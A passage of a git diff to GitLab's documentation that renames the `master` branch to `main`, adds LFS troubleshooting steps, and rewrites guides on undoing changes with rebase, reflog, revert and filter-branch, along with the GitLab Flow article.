branch](../../user/project/repository/branches/default.md) (here, using `main`): -1. Fetch the latest changes from `master`: +1. Fetch the latest changes from `main`: ```shell - git fetch origin master + git fetch origin main ``` 1. Checkout your feature branch: @@ -94,24 +95,24 @@ For example, to update your branch `my-feature-branch` with `master`: git checkout my-feature-branch ``` -1. Rebase it against `master`: +1. Rebase it against `main`: ```shell - git rebase origin/master + git rebase origin/main ``` 1. [Force-push](#force-push) to your branch. When you rebase: -1. Git imports all the commits submitted to `master` _after_ the +1. Git imports all the commits submitted to `main` _after_ the moment you created your feature branch until the present moment. 1. Git puts the commits you have in your feature branch on top of all - the commits imported from `master`: + the commits imported from `main`:  -You can replace `master` with any other branch you want to rebase against, for +You can replace `main` with any other branch you want to rebase against, for example, `release-10-3`. You can also replace `origin` with other remote repositories, for example, `upstream`. To check what remotes you have linked to your local repository, you can run `git remote -v`. diff --git a/doc/topics/git/lfs/index.md b/doc/topics/git/lfs/index.md index 0851d3f6b50..dfb175cbb82 100644 --- a/doc/topics/git/lfs/index.md +++ b/doc/topics/git/lfs/index.md @@ -114,11 +114,9 @@ See the documentation on [File Locking](../../../user/project/file_lock.md). ## LFS objects in project archives > - Support for including Git LFS blobs inside [project source downloads](../../../user/project/repository/index.md) was [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/15079) in GitLab 13.5. -> - [Deployed behind a feature flag](../../../user/feature_flags.md), disabled by default. > - [Enabled by default](https://gitlab.com/gitlab-org/gitlab/-/issues/268409) in GitLab 13.6. > - Enabled on GitLab.com. > - Recommended for production use. -> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#enable-or-disable-lfs-objects-in-project-archives). WARNING: This feature might not be available to you. Check the **version history** note above for details. @@ -134,32 +132,40 @@ oid sha256:3ea5dd307f195f449f0e08234183b82e92c3d5f4cff11c2a6bb014f9e0de12aa size 177735 ``` -Starting with GitLab 13.5, these pointers are converted to the uploaded -LFS object if the `include_lfs_blobs_in_archive` feature flag is -enabled. +In GitLab version 13.5 and later, these pointers are converted to the uploaded +LFS object. Technical details about how this works can be found in the [development documentation for LFS](../../../development/lfs.md#including-lfs-blobs-in-project-archives). -### Enable or disable LFS objects in project archives +## Troubleshooting -_LFS objects in project archives_ is under development but ready for production use. -It is deployed behind a feature flag that is **enabled by default**. -[GitLab administrators with access to the GitLab Rails console](../../../administration/feature_flags.md) -can opt to disable it. +### Encountered `n` file(s) that should have been pointers, but weren't -To enable it: +This error indicates the file (or files) are expected to be tracked by LFS, but for +some reason the repository is not tracking them as LFS. This issue can be one +potential reason for this error: +[Files not tracked with LFS when uploaded through the web interface](https://gitlab.com/gitlab-org/gitlab/-/issues/326342#note_586820485) -```ruby -Feature.enable(:include_lfs_blobs_in_archive) -``` +To resolve the problem, migrate the affected file (or files) and push back to the repository: -To disable it: +1. Migrate the file to LFS: -```ruby -Feature.disable(:include_lfs_blobs_in_archive) -``` + ```shell + git lfs migrate import --yes --no-rewrite "<your-file>" + ``` -## Troubleshooting +1. Push back to your repository: + + ```shell + git push + ``` + +1. (Optional) Clean up your `.git` folder: + + ```shell + git reflog expire --expire-unreachable=now --all + git gc --prune=now + ``` ### error: Repository or object not found diff --git a/doc/topics/git/lfs/migrate_from_git_annex_to_git_lfs.md b/doc/topics/git/lfs/migrate_from_git_annex_to_git_lfs.md index 741b2a78b85..d7fb8a37b9c 100644 --- a/doc/topics/git/lfs/migrate_from_git_annex_to_git_lfs.md +++ b/doc/topics/git/lfs/migrate_from_git_annex_to_git_lfs.md @@ -1,5 +1,6 @@ --- redirect_to: 'index.md' +remove_date: '2021-07-22' --- This document was moved to [another location](index.md). diff --git a/doc/topics/git/lfs/migrate_to_git_lfs.md b/doc/topics/git/lfs/migrate_to_git_lfs.md index 3f8e0575add..d1231257f38 100644 --- a/doc/topics/git/lfs/migrate_to_git_lfs.md +++ b/doc/topics/git/lfs/migrate_to_git_lfs.md @@ -41,7 +41,7 @@ Before beginning, make sure: To follow this tutorial, you need: -- Maintainer permissions to the existing Git repository +- The [Maintainer role](../../../user/permissions.md) for the existing Git repository you'd like to migrate to LFS with access through the command line. - [Git](https://git-scm.com/book/en/v2/Getting-Started-Installing-Git) and [Java Runtime Environment](https://www.java.com/en/download/manual.jsp) @@ -137,8 +137,8 @@ Consider an example upstream project, `git@gitlab.com:gitlab-tests/test-git-lfs- # Change into the upstream repo directory: cd test-git-lfs-repo-migration - # You may need to reset your local copy with upstream's `master` after force-pushing from the mirror: - git reset --hard origin/master + # You may need to reset your local copy with upstream's `main` after force-pushing from the mirror: + git reset --hard origin/main # Track the files with LFS: git lfs track "*.gif" "*.png" "*.jpg" "*.psd" "*.mp4" "img/" diff --git a/doc/topics/git/merge_conflicts.md b/doc/topics/git/merge_conflicts.md index 66771559298..bf69190030c 100644 --- a/doc/topics/git/merge_conflicts.md +++ b/doc/topics/git/merge_conflicts.md @@ -1,11 +1,11 @@ --- -stage: none -group: unassigned +stage: Create +group: Source Code info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments comments: false --- -# Merge conflicts +# Merge conflicts **(FREE)** - Happen often - Learning to fix conflicts is hard diff --git a/doc/topics/git/merge_requests.md b/doc/topics/git/merge_requests.md index 751bf8195d0..d889bc8ffe5 100644 --- a/doc/topics/git/merge_requests.md +++ b/doc/topics/git/merge_requests.md @@ -1,5 +1,6 @@ --- redirect_to: '../../user/project/merge_requests/index.md' +remove_date: '2021-08-13' --- This document was moved to [another location](../../user/project/merge_requests/index.md). diff --git a/doc/topics/git/numerous_undo_possibilities_in_git/img/rebase_reset.png b/doc/topics/git/numerous_undo_possibilities_in_git/img/rebase_reset.png Binary files differindex 6506de209f4..c1a67e0b566 100644 --- a/doc/topics/git/numerous_undo_possibilities_in_git/img/rebase_reset.png +++ b/doc/topics/git/numerous_undo_possibilities_in_git/img/rebase_reset.png diff --git a/doc/topics/git/numerous_undo_possibilities_in_git/img/revert.png b/doc/topics/git/numerous_undo_possibilities_in_git/img/revert.png Binary files differindex 040f8118d72..0732a73278b 100644 --- a/doc/topics/git/numerous_undo_possibilities_in_git/img/revert.png +++ b/doc/topics/git/numerous_undo_possibilities_in_git/img/revert.png diff --git a/doc/topics/git/numerous_undo_possibilities_in_git/index.md b/doc/topics/git/numerous_undo_possibilities_in_git/index.md index b151ddfff71..6de62897041 100644 --- a/doc/topics/git/numerous_undo_possibilities_in_git/index.md +++ b/doc/topics/git/numerous_undo_possibilities_in_git/index.md @@ -36,7 +36,7 @@ You can undo changes at any point in this workflow: - [When you're working locally](#undo-local-changes) and haven't yet pushed to a remote repository. - When you have already pushed to a remote repository and you want to: - [Keep the history intact](#undo-remote-changes-without-changing-history) (preferred). - - [Change the history](#undo-remote-changes-with-modifying-history) (requires + - [Change the history](#undo-remote-changes-while-changing-history) (requires coordination with team and force pushes). ## Undo local changes @@ -139,6 +139,12 @@ If you want to change to another branch, you can use [`git stash`](https://www.g 1. Commit, push, and test. 1. Return to the branch where you want to resume your changes. 1. Use `git stash list` to list all previously stashed commits. + + ```shell + stash@{0}: WIP on submit: 6ebd0e2... Update git-stash documentation + stash@{1}: On master: 9cc0589... Add git-stash + ``` + 1. Run a version of `git stash`: - Use `git stash pop` to redo previously stashed changes and remove them from stashed list. @@ -146,7 +152,7 @@ If you want to change to another branch, you can use [`git stash`](https://www.g ## Undo committed local changes -When you commit to your local repository (`git commit`), the version control system records +When you commit to your local repository (`git commit`), Git records your changes. Because you did not push to a remote repository yet, your changes are not public (or shared with other developers). At this point, you can undo your changes. @@ -212,64 +218,53 @@ which clashes with what other developers have locally. ### Undo staged local changes with history modification -You can rewrite history in Git, but you should avoid it, because it can cause problems -when multiple developers are contributing to the same codebase. - -There is one command for history modification and that is `git rebase`. Command -provides interactive mode (`-i` flag) which enables you to: +The following tasks rewrite Git history. -- **reword** commit messages (there is also `git commit --amend` for editing - last commit message). -- **edit** the commit content (changes introduced by commit) and message. -- **squash** multiple commits into a single one, and have a custom or aggregated - commit message. -- **drop** commits - delete them. -- and few more options. +#### Delete a specific commit -Let us check few examples. Again there are commits `A-B-C-D` where you want to -delete commit `B`. +You can delete a specific commit. For example, if you have +commits `A-B-C-D` and you want to delete commit `B`. -- Rebase the range from current commit D to A: +1. Rebase the range from current commit `D` to `B`: - ```shell - git rebase -i A - ``` + ```shell + git rebase -i A + ``` -- Command opens your favorite editor where you write `drop` in front of commit - `B`, but you leave default `pick` with all other commits. Save and exit the - editor to perform a rebase. Remember: if you want to cancel delete whole - file content before saving and exiting the editor + A list of commits is displayed in your editor. -In case you want to modify something introduced in commit `B`. +1. In front of commit `B`, replace `pick` with `drop`. +1. Leave the default, `pick`, for all other commits. +1. Save and exit the editor. -- Rebase the range from current commit D to A: +#### Modify a specific commit - ```shell - git rebase -i A - ``` +You can modify a specific commit. For example, if you have +commits `A-B-C-D` and you want to modify something introduced in commit `B`. -- Command opens your favorite text editor where you write `edit` in front of commit - `B`, but leave default `pick` with all other commits. Save and exit the editor to - perform a rebase. +1. Rebase the range from current commit `D` to `B`: -- Now do your edits and commit changes: + ```shell + git rebase -i A + ``` - ```shell - git commit -a - ``` + A list of commits is displayed in your editor. + +1. In front of commit `B`, replace `pick` with `edit`. +1. Leave the default, `pick`, for all other commits. +1. Save and exit the editor. +1. Open the file in your editor, make your edits, and commit the changes: -You can find some more examples in the section explaining -[how to modify history](#how-modifying-history-is-done). + ```shell + git commit -a + ``` ### Redoing the undo -Sometimes you realize that the changes you undid were useful and you want them -back. Well because of first paragraph you are in luck. Command `git reflog` -enables you to *recall* detached local commits by referencing or applying them -via commit ID. Although, do not expect to see really old commits in reflog, because -Git regularly [cleans the commits which are *unreachable* by branches or tags](https://git-scm.com/book/en/v2/Git-Internals-Maintenance-and-Data-Recovery). +You can recall previous local commits. However, not all previous commits are available, because +Git regularly [cleans the commits that are unreachable by branches or tags](https://git-scm.com/book/en/v2/Git-Internals-Maintenance-and-Data-Recovery). -To view repository history and to track older commits you can use below command: +To view repository history and track prior commits, run `git reflog show`. For example: ```shell $ git reflog show @@ -287,89 +282,64 @@ eb37e74 HEAD@{6}: rebase -i (pick): Commit C 6e43d59 HEAD@{16}: commit: Commit B ``` -Output of command shows repository history. In first column there is commit ID, -in following column, number next to `HEAD` indicates how many commits ago something -was made, after that indicator of action that was made (commit, rebase, merge, ...) -and then on end description of that action. +This output shows the repository history, including: -## Undo remote changes without changing history +- The commit SHA. +- How many `HEAD`-changing actions ago the commit was made (`HEAD@{12}` was 12 `HEAD`-changing actions ago). +- The action that was taken, for example: commit, rebase, merge. +- A description of the action that changed `HEAD`. -This topic is roughly same as modifying committed local changes without modifying -history. **It should be the preferred way of undoing changes on any remote repository -or public branch.** Keep in mind that branching is the best solution when you want -to retain the history of faulty development, yet start anew from certain point. +## Undo remote changes without changing history -Branching -enables you to include the existing changes in new development (by merging) and -it also provides a clear timeline and development structure. +To undo changes in the remote repository, you can create a new commit with the changes you +want to undo. You should follow this process, which preserves the history and +provides a clear timeline and development structure. However, you +only need this procedure if your work was merged into a branch that +other developers use as the base for their work.  -If you want to revert changes introduced in certain `commit-id`, you can -revert that `commit-id` (swap additions and deletions) in newly created commit: -You can do this with +To revert changes introduced in a specific commit `B`: ```shell -git revert commit-id +git revert B ``` -or creating a new branch: - -```shell -git checkout commit-id -git checkout -b new-path-of-feature -``` +## Undo remote changes while changing history -## Undo remote changes with modifying history +You can undo remote changes and change history. -This is useful when you want to *hide* certain things - like secret keys, -passwords, and SSH keys. It is and should not be used to hide mistakes, as -it makes it harder to debug in case there are some other bugs. The main -reason for this is that you loose the real development progress. Keep in -mind that, even with modified history, commits are just detached and can still be -accessed through commit ID - at least until all repositories perform -the automated cleanup of detached commits. +Even with an updated history, old commits can still be +accessed by commit SHA. This is the case at least until all the automated cleanup +of detached commits is performed, or a cleanup is run manually. Even the cleanup might not remove old commits if there are still refs pointing to them.  -### Where modifying history is generally acceptable +### When changing history is acceptable -Modified history breaks the development chain of other developers, as changed -history does not have matching commit IDs. For that reason it should not be -used on any public branch or on branch that might be used by other developers. -When contributing to big open source repositories (for example, [GitLab](https://gitlab.com/gitlab-org/gitlab/blob/master/CONTRIBUTING.md#contribution-acceptance-criteria) -itself), it is acceptable to squash commits into a single one, to present a -nicer history of your contribution. +You should not change the history when you're working in a public branch +or a branch that might be used by other developers. -Keep in mind that this also removes the comments attached to certain commits -in merge requests, so if you need to retain traceability in GitLab, then -modifying history is not acceptable. +When you contribute to large open source repositories, like [GitLab](https://gitlab.com/gitlab-org/gitlab), +you can squash your commits into a single one. -A feature branch of a merge request is a public branch and might be used by -other developers, but project process and rules might allow or require -you to use `git rebase` (command that changes history) to reduce number of -displayed commits on target branch after reviews are done (for example -GitLab). There is a `git merge --squash` command which does exactly that -(squashes commits on feature-branch to a single commit on target branch -at merge). +To squash commits on a feature branch to a single commit on a target branch +at merge, use `git merge --squash`. NOTE: -Never modify the commit history of `master` or shared branch. +Never modify the commit history of your [default branch](../../../user/project/repository/branches/default.md) or shared branch. -### How modifying history is done +### How to change history -After you know what you want to modify (how far in history or how which range of -old commits), use `git rebase -i commit-id`. This command displays all the commits from -current version to chosen commit ID and allow modification, squashing, deletion -of that commits. +A feature branch of a merge request is a public branch and might be used by +other developers. However, the project rules might require +you to use `git rebase` to reduce the number of +displayed commits on target branch after reviews are done. -```shell -$ git rebase -i commit1-id..commit3-id -pick <commit1-id> <commit1-commit-message> -pick <commit2-id> <commit2-commit-message> -pick <commit3-id> <commit3-commit-message> +You can modify history by using `git rebase -i`. Use this command to modify, squash, +and delete commits. -# Rebase commit1-id..commit3-id onto <commit4-id> (3 command(s)) +```shell # # Commands: # p, pick = use commit @@ -382,50 +352,48 @@ pick <commit3-id> <commit3-commit-message> # # These lines can be re-ordered; they are executed from top to bottom. # -# If you remove a line here THAT COMMIT WILL BE LOST. +# If you remove a line THAT COMMIT WILL BE LOST. # # However, if you remove everything, the rebase will be aborted. # -# Note that empty commits are commented out +# Empty commits are commented out ``` NOTE: -The comment from the output clearly states that, if -you decide to abort, don't just close your editor (as that -modifies history), but remove all uncommented lines and save. +If you decide to stop a rebase, do not close your editor. +Instead, remove all uncommented lines and save. -Use `git rebase` carefully on -shared and remote branches, but rest assured: nothing is broken until -you push back to the remote repository (so you can freely explore the -different outcomes locally). +Use `git rebase` carefully on shared and remote branches. +Experiment locally before you push to the remote repository. ```shell # Modify history from commit-id to HEAD (current commit) git rebase -i commit-id ``` -### Deleting sensitive information from commits +### Delete sensitive information from commits + +You can use Git to delete sensitive information from your past commits. However, +history is modified in the process. + +To rewrite history with +[certain filters](https://git-scm.com/docs/git-filter-branch#_options), +run `git filter-branch`. -Git also enables you to delete sensitive information from your past commits and -it does modify history in the progress. That is why we have included it in this -section and not as a standalone topic. To do so, you should run the -`git filter-branch`, which enables you to rewrite history with -[certain filters](https://git-scm.com/docs/git-filter-branch#_options). -This command uses rebase to modify history and if you want to remove certain -file from history altogether use: +To remove a file from the history altogether use: ```shell git filter-branch --tree-filter 'rm filename' HEAD ``` -Because `git filter-branch` command might be slow on big repositories, there are -tools that can use some of Git specifics to enable faster execution of common -tasks (which is exactly what removing sensitive information file is about). +The `git filter-branch` command might be slow on large repositories. +Tools are available to execute Git commands more quickly. An alternative is the open source community-maintained tool [BFG](https://rtyley.github.io/bfg-repo-cleaner/). -Keep in mind that these tools are faster because they do not provide the same +These tools are faster because they do not provide the same feature set as `git filter-branch` does, but focus on specific use cases. -Refer [Reduce repository size](../../../user/project/repository/reducing_the_repo_size_using_git.md) page to know more about purging files from repository history & GitLab storage. +Refer to [Reduce repository size](../../../user/project/repository/reducing_the_repo_size_using_git.md) to +learn more about purging files from repository history and GitLab storage. <!-- ## Troubleshooting diff --git a/doc/topics/git/rollback_commits.md b/doc/topics/git/rollback_commits.md index 34c2d9687bb..478dce179d2 100644 --- a/doc/topics/git/rollback_commits.md +++ b/doc/topics/git/rollback_commits.md @@ -1,11 +1,11 @@ --- -stage: none -group: unassigned +stage: Create +group: Source Code info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments comments: false --- -# Rollback Commits +# Rollback commits **(FREE)** ## Undo Commits diff --git a/doc/topics/git/stash.md b/doc/topics/git/stash.md index 051103e5f4b..d321795e034 100644 --- a/doc/topics/git/stash.md +++ b/doc/topics/git/stash.md @@ -1,11 +1,11 @@ --- -stage: none -group: unassigned +stage: Create +group: Source Code info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments comments: false --- -# Git Stash +# Git Stash **(FREE)** We use `git stash` to store our changes when they are not ready to be committed and we need to change to a different branch. diff --git a/doc/topics/git/subtree.md b/doc/topics/git/subtree.md index 54461915a05..0bf89668405 100644 --- a/doc/topics/git/subtree.md +++ b/doc/topics/git/subtree.md @@ -1,11 +1,11 @@ --- -stage: none -group: unassigned +stage: Create +group: Source Code info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments comments: false --- -# Subtree +# Subtree **(FREE)** - Used when there are nested repositories. - Not recommended when the amount of dependencies is too large. diff --git a/doc/topics/git/tags.md b/doc/topics/git/tags.md index 70580ecf778..6e0622273bb 100644 --- a/doc/topics/git/tags.md +++ b/doc/topics/git/tags.md @@ -4,7 +4,7 @@ group: Source Code info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Tags +# Tags **(FREE)** Tags are useful for marking certain deployments and releases for later reference. Git supports two types of tags: diff --git a/doc/topics/git/unstage.md b/doc/topics/git/unstage.md index 30d26854135..b5f7c01de24 100644 --- a/doc/topics/git/unstage.md +++ b/doc/topics/git/unstage.md @@ -1,11 +1,11 @@ --- -stage: none -group: unassigned +stage: Create +group: Source Code info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments comments: false --- -# Unstage +# Unstage **(FREE)** - To remove files from stage use reset HEAD where HEAD is the last commit of the current branch. This unstages the file but maintain the modifications. diff --git a/doc/topics/git/useful_git_commands.md b/doc/topics/git/useful_git_commands.md index 38b44d97583..61f170d934a 100644 --- a/doc/topics/git/useful_git_commands.md +++ b/doc/topics/git/useful_git_commands.md @@ -180,12 +180,13 @@ Git includes a complete set of [traces for debugging Git commands](https://git-s ## Rebasing -### Rebase your branch onto master +### Rebase your branch onto the default -The `-i` flag stands for 'interactive': +The `-i` flag stands for 'interactive'. Replace `<default-branch>` with the name +of your [default branch](../../user/project/repository/branches/default.md): ```shell -git rebase -i master +git rebase -i <default-branch> ``` ### Continue the rebase if paused diff --git a/doc/topics/gitlab_flow.md b/doc/topics/gitlab_flow.md index c238951be51..df5029bb0d1 100644 --- a/doc/topics/gitlab_flow.md +++ b/doc/topics/gitlab_flow.md @@ -45,13 +45,13 @@ For a video introduction of how this works in GitLab, see [GitLab Flow](https:// <!-- vale gitlab.Spelling = YES --> Git flow was one of the first proposals to use Git branches, and it has received a lot of attention. -It suggests a `master` branch and a separate `develop` branch, as well as supporting branches for features, releases, and hotfixes. -The development happens on the `develop` branch, moves to a release branch, and is finally merged into the `master` branch. +It suggests a `main` branch and a separate `develop` branch, as well as supporting branches for features, releases, and hotfixes. +The development happens on the `develop` branch, moves to a release branch, and is finally merged into the `main` branch. Git flow is a well-defined standard, but its complexity introduces two problems. -The first problem is that developers must use the `develop` branch and not `master`. `master` is reserved for code that is released to production. -It is a convention to call your default branch `master` and to mostly branch from and merge to this. -Because most tools automatically use the `master` branch as the default, it is annoying to have to switch to another branch. +The first problem is that developers must use the `develop` branch and not `main`. `main` is reserved for code that is released to production. +It is a convention to call your default branch `main` and to mostly branch from and merge to this. +Because most tools automatically use the `main` branch as the default, it is annoying to have to switch to another branch. The second problem of Git flow is the complexity introduced by the hotfix and release branches. These branches can be a good idea for some organizations but are overkill for the vast majority of them. @@ -59,7 +59,7 @@ Nowadays, most organizations practice continuous delivery, which means that your Continuous delivery removes the need for hotfix and release branches, including all the ceremony they introduce. An example of this ceremony is the merging back of release branches. Though specialized tools do exist to solve this, they require documentation and add complexity. -Frequently, developers make mistakes such as merging changes only into `master` and not into the `develop` branch. +Frequently, developers make mistakes such as merging changes only into `main` and not into the `develop` branch. The reason for these errors is that Git flow is too complicated for most use cases. For example, many projects do releases but don't need to do hotfixes. @@ -68,10 +68,10 @@ For example, many projects do releases but don't need to do hotfixes.  In reaction to Git flow, GitHub created a simpler alternative. -[GitHub flow](https://guides.github.com/introduction/flow/index.html) has only feature branches and a `master` branch. +[GitHub flow](https://guides.github.com/introduction/flow/index.html) has only feature branches and a `main` branch. This flow is clean and straightforward, and many organizations have adopted it with great success. Atlassian recommends [a similar strategy](https://www.atlassian.com/blog/git/simple-git-workflow-is-simple), although they rebase feature branches. -Merging everything into the `master` branch and frequently deploying means you minimize the amount of unreleased code. This approach is in line with lean and continuous delivery best practices. +Merging everything into the `main` branch and frequently deploying means you minimize the amount of unreleased code. This approach is in line with lean and continuous delivery best practices. However, this flow still leaves a lot of questions unanswered regarding deployments, environments, releases, and integrations with issues. With GitLab flow, we offer additional guidance for these questions. @@ -88,7 +88,7 @@ While this is possible in some cases, such as SaaS applications, there are some operations team is at full capacity - but you also merge code at other times. In these cases, you can make a production branch that reflects the deployed code. -You can deploy a new version by merging `master` into the production branch. +You can deploy a new version by merging `main` into the production branch. If you need to know what code is in production, you can check out the production branch to see. The approximate time of deployment is visible as the merge commit in the version control system. This time is pretty accurate if you automatically deploy your production branch. @@ -99,16 +99,16 @@ This flow prevents the overhead of releasing, tagging, and merging that happens  -It might be a good idea to have an environment that is automatically updated to the `master` branch. +It might be a good idea to have an environment that is automatically updated to the `main` branch. Only, in this case, the name of this environment might differ from the branch name. Suppose you have a staging environment, a pre-production environment, and a production environment. -In this case, deploy the `master` branch to staging. -To deploy to pre-production, create a merge request from the `master` branch to the pre-production branch. +In this case, deploy the `main` branch to staging. +To deploy to pre-production, create a merge request from the `main` branch to the pre-production branch. Go live by merging the pre-production branch into the production branch. This workflow, where commits only flow downstream, ensures that everything is tested in all environments. -If you need to cherry-pick a commit with a hotfix, it is common to develop it on a feature branch and merge it into `master` with a merge request. +If you need to cherry-pick a commit with a hotfix, it is common to develop it on a feature branch and merge it into `main` with a merge request. In this case, do not delete the feature branch yet. -If `master` passes automatic testing, you then merge the feature branch into the other branches. +If `main` passes automatic testing, you then merge the feature branch into the other branches. If this is not possible because more manual testing is required, you can send merge requests from the feature branch to the downstream branches. ## Release branches with GitLab flow @@ -117,15 +117,15 @@ If this is not possible because more manual testing is required, you can send me You only need to work with release branches if you need to release software to the outside world. In this case, each branch contains a minor version, such as `2-3-stable` or `2-4-stable`. -Create stable branches using `master` as a starting point, and branch as late as possible. +Create stable branches using `main` as a starting point, and branch as late as possible. By doing this, you minimize the length of time during which you have to apply bug fixes to multiple branches. After announcing a release branch, only add serious bug fixes to the branch. -If possible, first merge these bug fixes into `master`, and then cherry-pick them into the release branch. -If you start by merging into the release branch, you might forget to cherry-pick them into `master`, and then you'd encounter the same bug in subsequent releases. -Merging into `master` and then cherry-picking into release is called an "upstream first" policy, which is also practiced by [Google](https://www.chromium.org/chromium-os/chromiumos-design-docs/upstream-first) and [Red Hat](https://www.redhat.com/en/blog/a-community-for-using-openstack-with-red-hat-rdo). +If possible, first merge these bug fixes into `main`, and then cherry-pick them into the release branch. +If you start by merging into the release branch, you might forget to cherry-pick them into `main`, and then you'd encounter the same bug in subsequent releases. +Merging into `main` and then cherry-picking into release is called an "upstream first" policy, which is also practiced by [Google](https://www.chromium.org/chromium-os/chromiumos-design-docs/upstream-first) and [Red Hat](https://www.redhat.com/en/blog/a-community-for-using-openstack-with-red-hat-rdo). Every time you include a bug fix in a release branch, increase the patch version (to comply with [Semantic Versioning](https://semver.org/)) by setting a new tag. Some projects also have a stable branch that points to the same commit as the latest released branch. -In this flow, it is not common to have a production branch (or Git flow `master` branch). +In this flow, it is not common to have a production branch (or Git flow `main` branch). ## Merge/pull requests with GitLab flow @@ -151,8 +151,9 @@ Also, mention any other people from whom you would like feedback. After the assigned person feels comfortable with the result, they can merge the branch. If the assigned person does not feel comfortable, they can request more changes or close the merge request without merging. -In GitLab, it is common to protect the long-lived branches, such as the `master` branch, so [most developers can't modify them](../user/permissions.md). -So, if you want to merge into a protected branch, assign your merge request to someone with maintainer permissions. +In GitLab, it is common to protect the long-lived branches, such as the `main` branch, so [most developers can't modify them](../user/permissions.md). +So, if you want to merge into a protected branch, assign your merge request to someone with the +[Maintainer role](../user/permissions.md). After you merge a feature branch, you should remove it from the source control software. In GitLab, you can do this when merging. @@ -178,7 +179,7 @@ In many organizations, raising an issue is part of the development process becau The issue title should describe the desired state of the system. For example, the issue title "As an administrator, I want to remove users without receiving an error" is better than "Administrators can't remove users." -When you are ready to code, create a branch for the issue from the `master` branch. +When you are ready to code, create a branch for the issue from the `main` branch. This branch is the place for any work related to this change. NOTE: @@ -188,11 +189,11 @@ When you are done or want to discuss the code, open a merge request. A merge request is an online place to discuss the change and review the code. If you open the merge request but do not assign it to anyone, it is a [draft merge request](../user/project/merge_requests/drafts.md). -These are used to discuss the proposed implementation but are not ready for inclusion in the `master` branch yet. +These are used to discuss the proposed implementation but are not ready for inclusion in the `main` branch yet. Start the title of the merge request with `[Draft]`, `Draft:` or `(Draft)` to prevent it from being merged before it's ready. When you think the code is ready, assign the merge request to a reviewer. -The reviewer can merge the changes when they think the code is ready for inclusion in the `master` branch. +The reviewer can merge the changes when they think the code is ready for inclusion in the `main` branch. When they press the merge button, GitLab merges the code and creates a merge commit that makes this event visible later on. Merge requests always create a merge commit, even when the branch could be merged without one. This merge strategy is called "no fast-forward" in Git. @@ -247,18 +248,18 @@ Git does not allow you to merge the code again otherwise. Having lots of merge commits can make your repository history messy. Therefore, you should try to avoid merge commits in feature branches. -Often, people avoid merge commits by just using rebase to reorder their commits after the commits on the `master` branch. -Using rebase prevents a merge commit when merging `master` into your feature branch, and it creates a neat linear history. +Often, people avoid merge commits by just using rebase to reorder their commits after the commits on the `main` branch. +Using rebase prevents a merge commit when merging `main` into your feature branch, and it creates a neat linear history. However, as discussed in [the section about rebasing](#squashing-commits-with-rebase), you should avoid rebasing commits in a feature branch that you're sharing with others. Rebasing could create more work, as every time you rebase, you may need to resolve the same conflicts. Sometimes you can reuse recorded resolutions (`rerere`), but merging is better, because you only have to resolve conflicts once. Atlassian has a more thorough explanation of the tradeoffs between merging and rebasing [on their blog](https://www.atlassian.com/blog/git/git-team-workflows-merge-or-rebase). -A good way to prevent creating many merge commits is to not frequently merge `master` into the feature branch. -There are three reasons to merge in `master`: utilizing new code, resolving merge conflicts, and updating long-running branches. +A good way to prevent creating many merge commits is to not frequently merge `main` into the feature branch. +There are three reasons to merge in `main`: utilizing new code, resolving merge conflicts, and updating long-running branches. -If you need to use some code that was introduced in `master` after you created the feature branch, you can often solve this by just cherry-picking a commit. +If you need to use some code that was introduced in `main` after you created the feature branch, you can often solve this by just cherry-picking a commit. If your feature branch has a merge conflict, creating a merge commit is a standard way of solving this. @@ -272,9 +273,9 @@ Most feature branches should take less than one day of work. If your feature branches often take more than a day of work, try to split your features into smaller units of work. If you need to keep a feature branch open for more than a day, there are a few strategies to keep it up-to-date. -One option is to use continuous integration (CI) to merge in `master` at the start of the day. +One option is to use continuous integration (CI) to merge in `main` at the start of the day. Another option is to only merge in from well-defined points in time, for example, a tagged release. -You could also use [feature toggles](https://martinfowler.com/bliki/FeatureToggle.html) to hide incomplete features so you can still merge back into `master` every day. +You could also use [feature toggles](https://martinfowler.com/bliki/FeatureToggle.html) to hide incomplete features so you can still merge back into `main` every day. NOTE: Don't confuse automatic branch testing with continuous integration. @@ -327,26 +328,26 @@ Issue: gitlab.com/gitlab-org/gitlab/-/issues/1  -In old workflows, the continuous integration (CI) server commonly ran tests on the `master` branch only. -Developers had to ensure their code did not break the `master` branch. -When using GitLab flow, developers create their branches from this `master` branch, so it is essential that it never breaks. +In old workflows, the continuous integration (CI) server commonly ran tests on the `main` branch only. +Developers had to ensure their code did not break the `main` branch. +When using GitLab flow, developers create their branches from this `main` branch, so it is essential that it never breaks. Therefore, each merge request must be tested before it is accepted. CI software like Travis CI and GitLab CI/CD show the build results right in the merge request itself to simplify the process. There is one drawback to testing merge requests: the CI server only tests the feature branch itself, not the merged result. -Ideally, the server could also test the `master` branch after each change. -However, retesting on every commit to `master` is computationally expensive and means you are more frequently waiting for test results. +Ideally, the server could also test the `main` branch after each change. +However, retesting on every commit to `main` is computationally expensive and means you are more frequently waiting for test results. Because feature branches should be short-lived, testing just the branch is an acceptable risk. -If new commits in `master` cause merge conflicts with the feature branch, merge `master` back into the branch to make the CI server re-run the tests. +If new commits in `main` cause merge conflicts with the feature branch, merge `main` back into the branch to make the CI server re-run the tests. As said before, if you often have feature branches that last for more than a few days, you should make your issues smaller. ## Working with feature branches  -When creating a feature branch, always branch from an up-to-date `master`. +When creating a feature branch, always branch from an up-to-date `main`. If you know before you start that your work depends on another branch, you can also branch from there. If you need to merge in another branch after starting, explain the reason in the merge commit. -If you have not pushed your commits to a shared location yet, you can also incorporate changes by rebasing on `master` or another feature branch. +If you have not pushed your commits to a shared location yet, you can also incorporate changes by rebasing on `main` or another feature branch. Do not merge from upstream again if your code can work and merge cleanly without doing so. -Merging only when needed prevents creating merge commits in your feature branch that later end up littering the `master` history. +Merging only when needed prevents creating merge commits in your feature branch that later end up littering the `main` history. diff --git a/doc/topics/plan_and_track.md b/doc/topics/plan_and_track.md new file mode 100644 index 00000000000..662898e88fc --- /dev/null +++ b/doc/topics/plan_and_track.md 